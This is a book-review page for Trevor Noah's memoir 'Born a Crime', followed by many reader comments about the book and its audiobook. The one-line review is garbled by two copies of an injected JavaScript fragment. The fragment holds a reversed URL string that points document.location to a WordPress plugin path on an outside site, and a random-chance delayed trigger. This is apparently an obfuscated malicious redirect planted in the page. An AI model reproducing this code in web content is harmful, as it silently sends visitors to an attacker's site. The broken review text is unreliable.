Born a Crime by Trevor Noah | Review
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The host of the Daily Show, Trevor Noah releases a memoir that has nothing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with his Hollywood ascendency and everything toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with growing up bi-racial in Apartheid South Africa – and that’s a good thing.
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I am so glad you enjoyed this book! I went in not expecting much and now I am assigning it to my Comparative Politics class when we do the chapter on South Africa. Great review, as always.
Wow, a memoir that's actually very interesting, funny and gut wrenching? Sign me the hell up!
Good timing for this review. I am about to start the audiobook with Trevor Noah narrating.
Excellent review! I really appreciate how Noah can expose the intersections between SA & the US.
Fantastic review as always! Funnily enough, I just bought this book last week and it's winging (crawling) its way towards me in the post. Now I'm even more excited to read it!
Lately I'be been watching Trevor Noah's Daily Show and I must say I love his commentary as well as his insight and he's also a great comedian!
So I'll definitely read his book soon, I' like to know more about him and about apartheid. I'm glad you enjoyed it and recommend it!
I thought exactly the same thing. Noah's story is unique and powerful and deserves to be told.
I swear, I cannot explain how happy it makes me when I see a thepoptimist video in my subscription feed.
For everyone interested: listen. to. the. audiobook.
Great review! I've been eyeing the audio version on Audible and think you have just convinced me to go ahead!
I loved this book! I listened to the audio.
I've seen this over and over on Audible recs and banners – I may have to pick it up now. Thanks.
You say: "Read this" I say: "When?" So, TBR-ed. 🙂
So glad you enjoyed this, I loved reading about his mom in this book. I have also heard that the audio book is a really great too.
I listened to the audiobook for this one a few months ago (well worth it for the accents he does). He's done so much autobiographical material in his comedy that I was expecting it to be a rehash of the same bits. But even though a lot of the material was the same, he managed to put a different spin on some of the same stories (that "my grandmother used to beat my cousins" story that you mentioned was one of them – the same lead-in lines, but then the bulk of the story was from a different angle), which I thought was impressive.
It did make me think that a lot of his "Daywalker" jokes were probably more humour than reality (I could be wrong, of course!).
I had no desire to read this book. Fine. But then thepoptimist shows up, likes the book, and Add to Cart happens. Actually, the part about his mother sold me. I like books about strong mothers! I didn't have one myself, and am trying hard to BE one.
Well, I believe this is the first Booktube post I have seen that mentions Swedish Herd-Calling! I have been resisting this read because Trevor Noah seems brilliant and very thoughtful about his own image…that combination can be unsettling.
I just finished the audiobook so it was fun to see this video pop up in my feed! Never thought I'd die laughing at the idea of a Hitler dance party. Great review!
I am listening to this right now on audiobook. I'm only about an hour in, but really enjoying it!
Awesome review. I wasn't sure what this memoir would be about when I first heard about it, but it sounds fascinating. I'll definitely be adding it to my TBR!
Amazing video – love your content tbh makes me realize just how much I adore reading
Will have to check it out, sounds fantastic!
Wonderful review, I like Trevor but had no idea that his story was so interesting, I'll be looking for this one.
just finished the audiobook based on your recommendation and wow! that was fantastic! thank you 🙂